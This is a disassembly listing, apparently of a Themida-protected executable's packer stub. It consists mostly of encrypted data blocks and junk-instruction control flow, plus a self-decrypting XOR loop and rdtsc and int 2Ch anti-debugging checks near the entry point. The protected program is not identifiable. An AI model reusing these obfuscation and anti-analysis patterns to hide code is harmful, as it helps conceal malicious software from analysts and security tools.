		dd 0EE81665Bh, 10E8769Bh, 0D4000000h, 0FBDA57D1h, 0C11501B5h
		dd 888CD8AFh, 0FC283E2h, 687h, 82E78100h, 5920CC5Ah, 98D08060h
		dd 0C8A0F61h, 0F000000h, 683h, 8A0F00h,	0E9000000h, 0Fh
		dd 15E23225h, 7C867EA4h, 0AC5FAE00h, 0FA6CE15h,	8A0FDEB7h
		dd 1, 0FEBF0FF9h, 7E9h,	27E64E00h, 0F8AC148Bh, 81F28B66h
		dd 8DA4EDCBh, 0D18B664Ah, 0F1F58060h, 66616060h, 6161CB8Bh
		dd 0DE8h, 0F4BA0200h, 267E44EAh, 327264DAh, 0F579659h
		dd 5959FABFh, 0EE9h, 0EA8CB200h, 0E52EA72Ch, 17644588h
		dd 813423CFh, 695571F7h, 0F1FB421h, 383h, 0A1D08000h, 9DB5E281h
		dd 8B0F12DAh, 4, 58616050h, 8B6042B6h, 816661C8h, 0FFE78C1h
		dd 0BF0FCAB7h, 0BE9FEh,	99660000h, 0C4B5F43Bh, 4EDD01ADh
		dd 8E9602Fh, 47000000h,	7E778AB2h, 0BAC79277h, 26158868h
		dd 208C0F61h, 0F000000h, 1A86h,	14E800h, 0C0930000h, 0BE2F6E49h
		dd 0EBCF6F56h, 17D02B16h, 84FCD1ABh, 0F5A9D33h,	389h, 0C6B70F00h
		dd 0F97EEB80h, 0BF0FE18Ah, 8E9C7h, 24F60000h, 0DACCB176h
		dd 8057DE62h, 805F00CAh, 0B70F99C6h, 0D830FD6h,	60000000h
		dd 32BBACBEh, 8A0F01h, 61000000h, 0AE952h, 5D200000h, 0EB740A46h
		dd 0D19DE545h, 0DD80F95Fh, 0F5F51D0h, 1284h, 0BE800h, 8C5D0000h
		dd 7E7B539Fh, 2C6C4193h, 605BFC41h, 662CEE80h, 61BC6ABFh
		dd 0DE9h, 3E3F8400h, 23FD3917h,	1A610D62h, 14E8801Fh, 5F000000h
		dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 0E891279Ch
		dd 14h,	0E93F6596h, 0C449A6F1h,	0B8553F41h, 0DE495006h
		dd 0CAB889FBh, 59596160h, 0DA816660h, 8B668ACCh, 0F5261DAh
		dd 8A5FF1B7h, 2810FF8h,	0B1000000h, 0FE989h, 0F3380000h
		dd 0F10547BCh, 76BAF48Ah, 5CF297Fh, 0E8816689h,	0B70FB8B0h
		dd 82B966D1h, 11E8C9h, 78C00000h, 6B4509F0h, 0BEF1D106h
		dd 0F2494C20h, 0FADBED4h, 381h,	0B8EC8000h, 0D78B665Ah
		dd 0EE8h, 9DB12900h, 7B6D69C5h,	0EA774680h, 0F271B65h
		dd 286h, 5EC18B00h, 5880F60h, 0BE000000h, 7F6FCDB2h, 0BE8h
		dd 8412CB00h, 941A6F9h,	4AD2DB64h, 0FE8615Fh, 6A000000h
		dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 8E88CC5h,	0DF000000h
		dd 806051E9h, 810460F5h, 1DA35DDAh, 605B5A7Ah, 0D430B6BBh
		dd 18E08072h, 0B966F561h, 8B663184h, 0E78166F9h, 0B866BAFEh
		dd 81661E57h, 66EAD9E0h, 7BFAF381h, 78F0Fh, 60600000h
		dd 0D6B70F61h, 9E85061h, 2A000000h, 0EB08543Eh,	0A9E7FE09h
		dd 0E9F95959h, 11h, 9407244Dh, 99A1ADAh, 6823E32Fh, 0BD6F34B7h
		dd 12E95150h, 8B000000h, 0A603CDCAh, 0E1F68BBh,	8DB3BE82h
		dd 26A3AB39h, 7E85B95h,	6C000000h, 0C80BDA87h, 0F98B09D2h
		dd 9DCA8059h, 7E8h, 58B9C900h, 7F3ED737h, 66FC5EF9h, 90BAF081h
		dd 11E3DFBBh, 8B0FF535h, 4, 0AA8BBE66h,	0FDF8B66h, 381h
		dd 0CABF0F00h, 40D4BB66h, 0FF6BF0Fh, 58Ch, 0B097B800h
		dd 0FFC2590h, 0FC8AF8BFh, 8571E1BAh, 0F18B6674h, 81D9CC80h
		dd 5D369ED7h, 8A0F73h, 0F000000h, 33B4F6BFh, 5AD18B52h
		dd 60F5E58Ah, 13E8EB8Ah, 0E2000000h, 0A6293429h, 0D0DE1CB1h
		dd 3C77D8E0h, 0C21CD538h, 0BE8389Bh, 0B9000000h, 572B2BBFh
		dd 8D792C84h, 5E598F97h, 6E961h, 126B0000h, 4A6E2A64h
		dd 5850Fh, 29BE0000h, 815EA552h, 219F5BD0h, 0DA8B665Ah
		dd 0FB26DCBAh, 14E943h,	37870000h, 2E4C2F0Ch, 5EC6687Ch
		dd 0B2420B04h, 49E29EB7h, 0DF815838h, 2C2A1543h, 9E960h
		dd 0D9FC0000h, 587C7E5Ah, 0F91E620h, 0BE61CFBFh, 1D9BF403h
		dd 0FE950h, 31320000h, 0F2A4C987h, 0DD2CA821h, 64E753CBh
		dd 0BF0F5BA9h, 10E8CAh,	0F94F0000h, 0A66A274Fh,	479A207Ch
		dd 2D98AEC3h, 0BF0F745Bh, 8B665AD8h, 0EE8F1h, 42F60000h
		dd 645213AFh, 4A70C56Ah, 0F1C97A96h, 0E08636BFh, 0F2805B47h
		dd 0E1F781E1h, 8B29DA92h, 0B5DF81C8h, 66562CD8h, 0E9917DBFh
		dd 10h,	0D9893A47h, 457AB6Dh, 82F49272h, 0E430309Ch, 5E9h
		dd 0D58BF00h, 0B70F99CFh, 665857CBh, 0F808C8BAh, 0D0D68166h
		dd 0EE837h, 0BA120000h,	0B5AA0CE4h, 0BB880B1Ah,	54D3EBFAh
		dd 0E958F28Bh, 12h, 0FE16C4C8h,	0CAC07ED6h, 0B81DCD14h
		dd 0C75829BEh, 890FDDDFh, 17h, 12E9h, 0CFFFD500h, 2453BA7Bh
		dd 9A1520FDh, 79899Ah, 80993585h, 9E9F5C3h, 69000000h
		dd 0D026640Eh, 6E7A7D18h, 58C0Fh, 0F520000h, 0F59CFB7h
		dd 0C8Ah, 7E900h, 8EF0000h, 4DD18ABCh, 5BEA81E7h, 0F52722E4h
		dd 6652D08Bh, 588848BAh, 39B3BA66h, 6E95957h, 84000000h
		dd 6420A6A6h, 6E840h, 72E20000h, 0EB4883F0h, 19D0815Bh
		dd 0F13BE37h, 584h, 0DE816600h,	0EF80F060h, 816660DDh
		dd 0F09D9E8h, 1580h, 0FE800h, 93DC0000h, 64A9831Fh, 7DD9397Bh
		dd 0D9792071h, 0F615F3Dh, 585h,	8697BE00h, 0EA8A6400h
		dd 7FAA32BAh, 0F8FCF829h, 6E8F9h, 90E10000h, 0DFB64522h
		dd 1ACE8059h, 3DDF8166h, 0BE98Ch, 0C1950000h, 0F5B6EB2Fh
		dd 1D195246h, 0EE82Ch, 0A2500000h, 9131C54h, 1CC19056h
		dd 12B8010Eh, 0BF5F09B7h, 27CED3EBh, 60FFBF0Fh,	2800Fh
		dd 0D78A0000h, 0F076E381h, 0E8612EDFh, 9, 98AC3406h, 0E40B160Bh
		dd 6E97Fh, 4EF10000h, 1F01DF5Bh, 0D2815059h, 15A6CF49h
		dd 0CE95Bh, 30500000h, 720A0C44h, 0F9856C68h, 8B661B45h
		dd 1C8CBBC6h, 0BF0F3E29h, 11E9C9h, 9DD70000h, 1A49445Bh
		dd 0F1BF5FF7h, 62FF123Ch, 0E9CBD5D1h, 0Eh, 0D7E0F500h
		dd 0F2963231h, 0DAB75ECBh, 0BF0F4B5Bh, 0F9C18AD0h, 63E6B966h
		dd 840A3B9h, 53E9800Eh,	0FD38B66h, 85h,	0DE900h, 9C810000h
		dd 3002CEF9h, 0D542D426h, 80061BFEh, 0D48A65ECh, 0FA0DC80h
		dd 981h, 38B0F00h, 80000000h, 71BBBBEFh, 816B7211h, 667442DEh
		dd 0C909BA79h, 8E0F64DEh, 0Eh, 9E9h, 5664FE00h,	998094C5h
		dd 8B66860Dh, 0E7BE66D0h, 96C8813Eh, 0E918082Eh, 11h, 0C1A3FCD6h
		dd 0E3388A2Dh, 0F00F947Ah
		dd 5DD816C6h, 0FE8F9CEh, 9000000h, 6DBF86Fh, 0C2433AC1h
		dd 6549B908h, 0F5F11F8h, 382h, 0D1B70F00h, 11EDF781h, 0DE95A4Bh
		dd 1E000000h, 6A6F0B8Fh, 8063943Eh, 509EF59Eh, 0DE85E53h
		dd 99000000h, 76E70535h, 0A3E9F1E2h, 0A3DCEADCh, 0AE9h
		dd 0CE921C00h, 0D8409E25h, 58F3D9D7h, 503EBA52h, 665F7FC7h
		dd 663570B9h, 0E9CB26B9h, 0Dh, 180E156Ch, 9B4E315Bh, 58ACF4A4h
		dd 0D4BE66F0h, 13E80Bh,	33F20000h, 15FC50B3h, 288D709Eh
		dd 0FF0D0896h, 0C43F2AF7h, 59D68BEFh, 0EF4C181h, 14E91329h
		dd 38000000h, 51E1502Eh, 45AABCA8h, 5E1016CEh, 13068DAEh
		dd 0E8FDA25Bh, 6, 0C4E3C214h, 0BF0FD5C3h, 8F0F5BD1h, 2
		dd 8A0F91B2h, 0
; ---------------------------------------------------------------------------
		movzx	eax, si
		mov	di, dx
		push	edi
		jmp	loc_605CC8
; ---------------------------------------------------------------------------
		dd 0AC6320FBh, 0FDF5A719h, 4F628587h
; ---------------------------------------------------------------------------


loc_605CC8:				; CODE XREF: Themida_:00605CB7j
		pop	ecx
		mov	esi, 63CE1007h
		pusha
		push	ecx
		pop	ebx
		call	near ptr loc_605CE2+1 ;	CODE XREF: Themida_:00605CD9j
		push	ss
		sbb	ch, [esi]
		loop	near ptr loc_605CD1+3
		mov	esi, fs:[ebx-6C4544B8h]


loc_605CE2:				; CODE XREF: Themida_:loc_605CD1p
		fstp	qword ptr [ecx+61h]
		jz	loc_605CF1
		sbb	edi, 19D9EC7Ch


loc_605CF1:				; CODE XREF: Themida_:00605CE5j
		and	edi, 3742AD16h
		mov	bx, dx
		mov	edi, 4BA002C6h
		cmc
		pusha
		movzx	edi, ax
		pusha
		mov	eax, 2F53EA07h
		jnp	$+6
		popa
		popa
		xor	bh, 24h
		push	edi
		jmp	loc_605D2F
; ---------------------------------------------------------------------------
		db 91h
		dd 424EE637h, 0CD07A97h, 0C991A976h, 3BDB7BDEh
		db 1Eh,	0C8h, 4Fh
; ---------------------------------------------------------------------------


loc_605D2F:				; CODE XREF: Themida_:00605D16j
		pop	ebx
		and	cx, 3732h
		mov	dh, 66h
		movzx	eax, cx
		pusha
		mov	dx, di
		jns	loc_605D5D
		jmp	loc_605D5D
; ---------------------------------------------------------------------------
		cmp	[ebp-1EFCA986h], edx
		add	byte ptr [edi],	52h
		adc	dl, bl
		scasb
		shr	ecx, 1
		inc	ebx
		mov	ebx, 2574EC17h


loc_605D5D:				; CODE XREF: Themida_:00605D3Ej
					; Themida_:00605D44j
		popa
		cmc
		push	ecx
		mov	dx, 29B1h
		pop	edx
		jb	$+6
		stc
		mov	edx, 2531939Fh
		adc	bx, 0BC4Ch
		mov	cx, 7851h
		cld
		js	loc_605D8B
		jbe	loc_605D8B
		mov	bx, 0C3DBh


loc_605D8B:				; CODE XREF: Themida_:00605D7Bj
					; Themida_:00605D81j
		sub	ax, 216Ah
		push	ecx
		xor	ah, 98h
		pop	ebx
		call	near ptr loc_605D9C+4
		in	al, 0BDh	; Interrupt Controller #2, 8259A


loc_605D9C:				; CODE XREF: Themida_:00605D95p
		mov	dword ptr [edx+66602BBEh], 3372E381h
		cmc
		popa
		pop	ecx
		movzx	esi, di
		pusha
		xor	ah, 0CFh
		call	sub_605DC7
		insb
		cwde
		retf
; ---------------------------------------------------------------------------
		db 0CCh
		db 54h,	96h, 9Ch
		dd 0D554A104h, 2647C710h
		db 81h,	0B2h, 0F4h

; =============== S U B	R O U T	I N E =======================================



sub_605DC7	proc near		; CODE XREF: Themida_:00605DB0p
		mov	cl, bh
		pop	edi
		popa
		mov	ax, 0ECD1h
		pusha
		call	near ptr locret_605DDA+1
		aam	0A7h
		push	es
		aad	5Ah

locret_605DDA:				; CODE XREF: sub_605DC7+9p
		retn	0D88Ah
sub_605DC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Fh,	0F8h, 61h
		dd 8E8h, 0B4326F00h, 0B9C348CBh, 9E882h, 16BA0000h, 2912EE64h
		dd 0F4B5C04h, 81h, 665E5A00h, 3AB1F08Bh, 0CE8h,	0A9EB6800h
		dd 0D588D5BCh, 5A15606Ch, 58F28B82h, 860F5260h,	0
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_605E35
; ---------------------------------------------------------------------------
		dw 0BC35h
		dd 0F7199CA1h, 20B0CA94h
; ---------------------------------------------------------------------------
		push	cs


loc_605E35:				; CODE XREF: Themida_:00605E25j
		popa
		cld
		movsx	eax, ax
		add	cl, 82h
		jp	loc_605E48
		add	di, 0F545h


loc_605E48:				; CODE XREF: Themida_:00605E3Dj
		mov	edi, edx
		movsx	eax, cx
		cmc
		pusha
		movzx	ecx, di
		popa
		mov	edi, esi
		push	edx
		mov	di, 8016h
		pop	esi
		mov	ah, ch
		jmp	loc_605E75
; ---------------------------------------------------------------------------
		dw 4C20h
		dd 0BED4F249h, 0AC19E3ADh, 4CD4980Fh, 0DB912BDDh
; ---------------------------------------------------------------------------
		dec	ecx


loc_605E75:				; CODE XREF: Themida_:00605E5Dj
		mov	edi, ebx
		call	near ptr loc_605E82+4
		cmp	[ebx+0C0B7EA3h], eax


loc_605E82:				; CODE XREF: Themida_:00605E77p
		mov	ds:662F6391h, eax
		sbb	edi, 0E959B8EDh
		sldt	word ptr [eax]
		add	[edx], dh
		add	dword ptr [esi], 0E5482D9Fh
; ---------------------------------------------------------------------------
		dd 4F88EF62h, 924703BCh, 0B660FA8Bh, 0C18B66E7h, 0BCBA6661h
		dd 0EE9606Eh, 0EC000000h, 74251C06h, 9BBC073Ch,	0F241562h
		dd 61D98A00h, 0FC3B70Fh, 2085h,	0DE800h, 77320000h, 21F919B6h
		dd 8A5031E5h, 0E9330FEDh, 8, 0B957863Bh, 326C5F6Eh, 0C781665Bh
		dd 0B70FC589h, 53F580D6h, 66F2E280h, 0E86F76B9h, 8, 0AA3A1E1Dh
		dd 0D8E139B3h, 58D78B66h, 7D1DBB66h, 7880Fh, 8B600000h
		dd 0C38B66D6h, 0CB8B6061h, 4341F081h, 0F6125A7h, 486h
		dd 61606000h, 0F890F61h, 0E8000000h, 6,	0E9775B26h, 0B70FD1F9h
		dd 890F5ED9h, 5, 0C10B8FBAh, 5850F53h, 0BA000000h, 5BB2DD1Fh
		dd 0E8F1BF0Fh, 8, 50BB6E1Dh, 1862C4D4h,	0E3815EF8h, 15ED5859h
		dd 26DBBE60h, 60605B26h, 0C28B6661h, 1DBF6161h,	663F8C91h
		dd 0E928C7B8h, 5, 0C3F688E0h, 14E90Fh, 0E4C0000h, 53FEDDF1h
		dd 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 8B666CEFh, 0AE860D9h
		dd 0F3000000h, 679CE7BBh, 14697A36h, 0D381667Ah, 615EE96Ah
		dd 66F5F88Bh, 0E92D5CB9h, 0Ch, 968BD9BFh, 51FC2CD9h, 25624BFDh
		dd 0A860Fh, 8D0F0000h, 4, 0BF62B866h, 0E8D68166h, 1EBB666Eh
		dd 870F6046h, 6, 800Fh,	0E8600000h, 12h, 0EE143D7Dh, 0E39645C2h
		dd 405D2238h, 126661E1h, 615E9211h, 58B0F61h, 66000000h
		dd 6D22E681h, 6E9F78Bh,	0BE000000h, 53547760h, 0FE9DEh
		dd 599A0000h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h, 0FFB70F63h
		dd 29D08166h, 7820F28h,	60000000h, 60C88166h, 8B0F6173h
		dd 0Ch,	940B860h, 56BE3991h, 61030F47h,	0E9F18166h, 8D0F565Ch
		dd 3, 5FC2F780h, 80F48AF5h, 11E956EDh, 1D000000h, 654AA9B1h
		dd 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 845ADA81h, 0BB6679C1h
		dd 8B66AFA3h, 8830FDFh,	57000000h, 0CA59C981h, 0F5E690Ch
		dd 1988h, 11E85700h, 50000000h,	6370144Fh, 0CA804F7Ch
		dd 82B7F6D4h, 0B19A328Dh, 0E9FC595Eh, 0Bh, 1E549449h, 0C15B4853h
		dd 8B0B0FB5h, 14800FDAh, 0E9000000h, 0Fh, 0D0D2F998h, 0F9B79314h
		dd 0D61715A7h, 0E92E66F5h, 14h,	90BA66B9h, 4A2F3AE5h, 4138D80Bh
		dd 0F6804BABh, 0AE556D4Bh, 0F95356F5h, 0D1815859h, 25ECD013h
		dd 0E96027B2h, 0Fh, 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 502733A6h
		dd 615BF88Bh, 80CFB70Fh, 0B8665FE1h, 66605734h,	8B66DF8Bh
		dd 8C0F61C3h, 6, 34D7E081h, 0BE667FC7h,	820F55F2h, 0
; ---------------------------------------------------------------------------
		jmp	loc_606184
; ---------------------------------------------------------------------------
		db 3Dh,	0DFh, 33h
		dd 0DED0BC8Eh, 81EFD13Ch
; ---------------------------------------------------------------------------


loc_606184:				; CODE XREF: Themida_:00606174j
		mov	si, 7DC0h
		sub	di, 0B761h
		adc	ch, 35h
		jnp	loc_60619B
		and	cx, 57Bh


loc_60619B:				; CODE XREF: Themida_:00606190j
		jmp	loc_6061B1
; ---------------------------------------------------------------------------
		db 0CCh
		db 0C7h, 43h, 0F9h
		dd 0C18899Bh, 958815BEh, 0D7BDF4C3h
		db 64h
; ---------------------------------------------------------------------------


loc_6061B1:				; CODE XREF: Themida_:loc_60619Bj
		xor	dx, 628Dh
		mov	bx, 81B3h
		cmc
		push	ecx
		call	near ptr loc_6061CC+1
		movsd
		jg	short near ptr loc_60620F+3
		cmp	[esi], esi
		aam	12h
		out	0CDh, eax	; DMA controller, 8237A-5.
					; master clear.
					; Any OUT clears the ctrlr (must be re-initialized)
		pop	esi
		inc	ecx


loc_6061CC:				; CODE XREF: Themida_:006061BCp
		adc	[edx+5Ah], edx
		pop	ebx
		pop	ecx
		pusha
		pusha
		clc
		adc	ecx, 67B095B1h
		popa
		jmp	loc_6061EE
; ---------------------------------------------------------------------------
		dd 0B42146C2h, 8E50F5F0h, 0DC68C263h
; ---------------------------------------------------------------------------
		cmp	esp, eax


loc_6061EE:				; CODE XREF: Themida_:006061DBj
		popa
		jbe	loc_6061F8
		mov	bx, dx


loc_6061F8:				; CODE XREF: Themida_:006061EFj
		mov	bl, 0D9h
		sub	cx, 9003h
		cld
		movzx	esi, di
		jle	loc_60621F
		call	near ptr loc_606218+3
		cld


loc_60620F:				; CODE XREF: Themida_:006061C2j
		cmp	eax, 94ED015Dh
		sub	bh, dl
		sub	edi, edx


loc_606218:				; CODE XREF: Themida_:00606209p
		xor	[ebp-2674998Eh], ah
		pop	ecx


loc_60621F:				; CODE XREF: Themida_:00606203j
		jmp	loc_606230
; ---------------------------------------------------------------------------
		dd 0F041AF20h, 0DD53A938h, 1EB73298h
; ---------------------------------------------------------------------------


loc_606230:				; CODE XREF: Themida_:loc_60621Fj
		mov	eax, ecx
		mov	dx, ax
		mov	ax, bx
		mov	cx, di
		jmp	loc_60624E
; ---------------------------------------------------------------------------
		dd 242FB436h, 3D9DD999h, 258D47F4h
		db 9Bh,	0D5h
; ---------------------------------------------------------------------------


loc_60624E:				; CODE XREF: Themida_:0060623Bj
		push	eax
		jmp	loc_606267
; ---------------------------------------------------------------------------
		dd 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah, 28C46ADDh
		db 67h,	72h, 43h
; ---------------------------------------------------------------------------


loc_606267:				; CODE XREF: Themida_:0060624Fj
		pop	esi
		mov	cx, 5E99h
		js	loc_606277
		add	di, 1018h


loc_606277:				; CODE XREF: Themida_:0060626Cj
		jmp	loc_60628C
; ---------------------------------------------------------------------------
		dd 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh
; ---------------------------------------------------------------------------


loc_60628C:				; CODE XREF: Themida_:loc_606277j
		pusha
		movsx	edi, ax
		pusha
		mov	ecx, 19F27C83h
		popa
		popa
		mov	dx, 7CF4h
		adc	ax, 3EEh
		pusha
		call	loc_6062AE
		js	short loc_6062EB
		xchg	eax, ecx
		sub	al, 0F4h
		xor	al, 0Ah


loc_6062AE:				; CODE XREF: Themida_:006062A2p
		mov	bl, 0BCh
		pop	edi
		jb	loc_6062B9
		push	ecx
		pop	edx


loc_6062B9:				; CODE XREF: Themida_:006062B1j
		popa
		jnb	loc_6062C5
		xor	di, 0D0Fh


loc_6062C5:				; CODE XREF: Themida_:006062BAj
		mov	ecx, 3201B34Ch
		jp	loc_6062D3
		mov	di, bx


loc_6062D3:				; CODE XREF: Themida_:006062CAj
		adc	di, 0D090h
		jmp	near ptr loc_6062EB+4
; ---------------------------------------------------------------------------
		db 88h,	6Dh, 24h
		dd 9B3656A7h, 39D6530Ch
		db 0EEh, 8Dh, 0C6h
; ---------------------------------------------------------------------------


loc_6062EB:				; CODE XREF: Themida_:006062A7j
					; Themida_:006062D8j
		jmp	near ptr 0FBC44EAh
; ---------------------------------------------------------------------------
		dd 0F56DABFh, 1088h, 0BE900h, 0CC0C0000h, 5D49C127h, 6EFC33B5h
		dd 23065984h, 0D5h dup(23065A31h), 0D6E50631h, 30Ah dup(0D6E5068Bh)
		dd 180h	dup(0ACCD2A21h), 0A74FF021h, 0EEh dup(0A74FF031h)
		dd 3D4FF031h, 14Eh dup(3D1CA652h), 54h dup(0D781D21Ah)
		dd 135h	dup(0E8C12F52h), 0AD8h dup(0CCCCCCCCh),	0CCCCh
		dd 33Dh	dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		nop
		call	loc_60C02D
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60C006	proc near		; CODE XREF: Themida_:0060C07Dp
		push	ebx
		mov	ecx, 0CBFh
		mov	ebx, edx


loc_60C00E:				; CODE XREF: sub_60C006+13j
		xor	[eax], dx
		lea	edx, [ebx+edx]
		xchg	dl, dh
		lea	eax, [eax+2]
		loop	loc_60C00E
		pop	ebx
		retn
sub_60C006	endp

; ---------------------------------------------------------------------------


loc_60C01D:				; CODE XREF: Themida_:0060C068j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0BFh
		db 0E8h

; =============== S U B	R O U T	I N E =======================================



sub_60C021	proc near		; CODE XREF: Themida_:loc_60C047p
					; Themida_:0060C04Dp
		rdtsc
		retn
sub_60C021	endp

; ---------------------------------------------------------------------------


loc_60C024:				; CODE XREF: Themida_:0060C035j
					; Themida_:0060C03Fj ...
		mov	eax, 1000h
		xor	ecx, ecx
		jmp	short loc_60C052
; ---------------------------------------------------------------------------


loc_60C02D:				; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_60C039
		int	2Ch		; CODE XREF: Themida_:0060C094j
					; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short loc_60C024
		jmp	short loc_60C047
; ---------------------------------------------------------------------------


loc_60C039:				; CODE XREF: Themida_:0060C02Fj
		mov	dx, cs
		shl	ebx, 0Ah
		js	short loc_60C024
		jnb	short loc_60C024
		cmp	dh, bh
		jz	short loc_60C024


loc_60C047:				; CODE XREF: Themida_:0060C037j
		call	sub_60C021
		xchg	eax, ecx
		call	sub_60C021


loc_60C052:				; CODE XREF: Themida_:0060C02Bj
		neg	ecx
		push	ebp
		add	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 0F8FF2h
		sub	eax, 100h
		jnb	short loc_60C01D
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-63h]
		call	sub_60C006
		push	esp
		call	near ptr 98A3E2E2h
		clc
		lds	ecx, [edi]
		enter	31DFh, 0D0h
		pop	esi
		rep cmp	[ebx+esi*8], al
		js	short near ptr loc_60C031+1
		in	eax, dx
		das
		pop	es
		lds	ebp, [ebp+16E74E3Dh] ; CODE XREF: Themida_:0060C0B9j
		inc	edx
		in	al, dx
		inc	eax
		in	eax, 5Eh
		sub	byte ptr [eax+7BFD45BEh], 0C7h
		add	al, 7Fh
		pop	edx
		imul	ebp
		stosb
		xor	ah, bh
		lds	ebp, [ecx+330A0239h]
		jbe	short near ptr loc_60C099+5
		hlt
; ---------------------------------------------------------------------------
		dd 0E47AF30Ch, 4FC4AD58h, 7F68DE42h, 0A9F129D2h, 52C049C7h
		dd 795F6F2h, 2BB71116h,	542B4F7Dh, 8FB7AD3Ch, 0D709F0A8h
		dd 24504BC9h, 1CAE141h,	13A77788h, 72333906h, 0E9CD302Ah
		dd 0E32B7FD2h, 5C64461Fh, 8ED2B964h, 0DB5F37BDh, 0B58EC88Eh
		dd 0D79EEC1Dh, 7F566128h, 48925668h, 0AEEDD863h, 122100D6h
		dd 0C90A5F60h, 0ED9D3181h, 4DAC5B80h, 92EC035Ch, 5917A4C0h
		dd 37C4AD56h, 24EA6FB0h, 760EA2C7h, 5DD3CF90h, 0A058F246h
		dd 0ADB38F96h, 298EC196h, 0FCD2DA28h, 0B1FA3466h, 1B2239BDh
		dd 0E1B464F2h, 127088ECh, 73333D31h, 5975552Bh,	0A1684FC6h
		dd 27ADAAB2h, 50B7FF08h, 8D599EE9h, 0B1581E72h,	0E8BBF7A4h
		dd 9A236CC1h, 0BD011503h, 0D0959740h, 6A0DD3B6h, 35C4819Fh
		dd 4D15B439h, 70744E83h, 0BD6F04B2h, 0C0A3BE33h, 9AEADA9h
		dd 0CEE3CA7Ah, 3384BD10h, 5F334A74h, 6CCFB5CCh,	0C64099AFh
		dd 5E2B5297h, 0D7C76FB7h, 261291D6h, 272239D0h,	555C1E35h
		dd 1971B8F7h, 39D3F45h,	7CC0D82Fh, 8368CA59h, 0D49B274Ch
		dd 0E2B06E9Ah, 8AB2F7CBh, 0BF072E63h, 0E9BF3B8Fh, 7EF39EC2h
		dd 9129688h, 0D9CF4199h, 0F414A489h, 11EF97F7h,	4237470Ah
		dd 6113D24Eh, 4EF044A4h, 0C093A86Ah, 7CAEADAAh,	93E3CA7Bh
		dd 780E823Dh, 62CBCEAEh, 6D4CF248h, 0C782F0F0h,	0D72B4698h
		dd 0FFD2EA57h, 0B3EF6EE7h, 0CB2209A5h, 2E4DEEF6h, 0F77188DCh
		dd 45716086h, 86C0DC2Dh, 9880BED5h, 6C114D2Ah, 0E2B7CE4Ch
		dd 9ECA89CCh, 5B072E5Eh, 0DAAFC611h, 0A843F83Ch, 2F16155Bh
		dd 3BA5BD13h, 7A4D6611h, 0C1AC0C09h, 3596DE01h,	426EC226h
		dd 0D91DE85Bh, 0E8AA1680h, 653B529Bh, 11E177D6h, 0B98D4AFAh
		dd 357D4AA2h, 897BE0Dh,	9AD20F0Eh, 0EDA642A9h, 0FFE2FDEAh
		dd 1AF758DBh, 4F121339h, 1E5AEC86h, 9E718A1Bh, 6CC08D04h
		dd 0E2C0D81Eh, 956A2652h, 9095AC7Eh, 1BB7FF0Fh,	9D077BDh
		dd 34373718h, 0F2C37B9Dh, 7CA96DF4h, 0ACF1156Ch, 0D3A5BF2Eh
		dd 518CE137h, 530A0C54h, 71193B0Dh, 0F2446B9Dh,	2BC5B9E1h
		dd 0C36C5404h, 70BC5DACh, 99E3FA51h, 8AA1137Eh,	6343B5A3h
		dd 201A77C5h, 0C029AC2h, 591B6B5Bh, 0D315BEh, 0A98715E6h
		dd 0DDA83A91h, 0F7FAC88Dh, 0EE8D9003h, 899FBE89h, 6FC1E906h
		dd 0A6404E6Ah, 3EEED77Fh, 3E3FDF26h, 656077CFh,	35081E90h
		dd 0F7807A90h, 4BDC6EF5h, 0F5091607h, 57A2CEEAh, 3C24665Ch
		dd 4EA1F466h, 4185DF0Dh, 4450CB00h, 1CF1BD5Dh, 0C019AC05h
		dd 93C3ADE0h, 9E4F9DABh, 0BB8CEEF8h, 0C8524BA4h, 0A1D8B4C6h
		dd 0D4287FC1h, 0D1D7A130h, 69D48196h, 0A97CCD69h, 514EF719h
		dd 0F8A127B2h, 0A0738A89h, 195B5881h, 0BFCCB062h, 0BDD31427h
		dd 0BC4A29B0h, 65D191E3h, 5617891h, 0BD094AA3h,	0B7B4A2D2h
		dd 0D75A05C6h, 0AE681704h, 0BEA7BF4Bh, 832537BDh, 9962F135h
		dd 939E8627h, 7BB9D8ECh, 1CEF38D9h, 0C4202005h,	0D53D64BDh
		dd 13E5FBF5h, 1E7E4B77h, 7335A125h, 8F50F47Bh, 0B2B588F5h
		dd 0CFA0A464h, 1E5F57Ch, 0D8E86BB8h, 0B9250CB8h, 0F8CCE42Fh
		dd 0CB1BE4ADh, 3A4C43FCh, 83AAAD59h, 0C10EE5BDh, 5A6646E1h
		dd 19EAD266h, 0BE48745Ah, 278FA877h, 8DB1F934h,	0EF791A92h
		dd 0E894E791h, 51A8F03Fh, 4325387Dh, 72FA65F3h,	0A64B3C5Bh
		dd 65AF0CB4h, 4FEF065Dh, 0A6F3EA60h, 1E6E32D8h,	7F8F8B3Dh
		dd 0BBEBC299h, 72A3B2F2h, 81DEC561h, 0E4D0CB37h, 0A57913CBh
		dd 31FC44D7h, 0B9BA16EAh, 50B3C2C5h, 92CDD513h,	5F77E6E1h
		dd 78370D1Ch, 0EEEC6530h, 0BCFB83D8h, 1B18A261h, 73448473h
		dd 8E53504Eh, 9388D444h, 0DD82E103h, 7A0D25C6h,	1D289CFBh
		dd 0A0694415h, 82D22EE1h, 0DB176261h, 0A6A89C79h, 8B6235B5h
		dd 2CDA7AC8h, 0B0572A05h, 8DD7C571h, 20E7FE50h,	8B6C3735h
		dd 482ACB9Dh, 22AAF67Bh, 0A24B5F72h, 0E7F469Bh,	5186B812h
		dd 3C80C5BAh, 511714A3h, 8C9726BCh, 840272EEh, 559BBA81h
		dd 7C5ED1Bh, 689279B4h,	3E80D3D3h, 0DBCE40Dh, 0A6A0FA57h
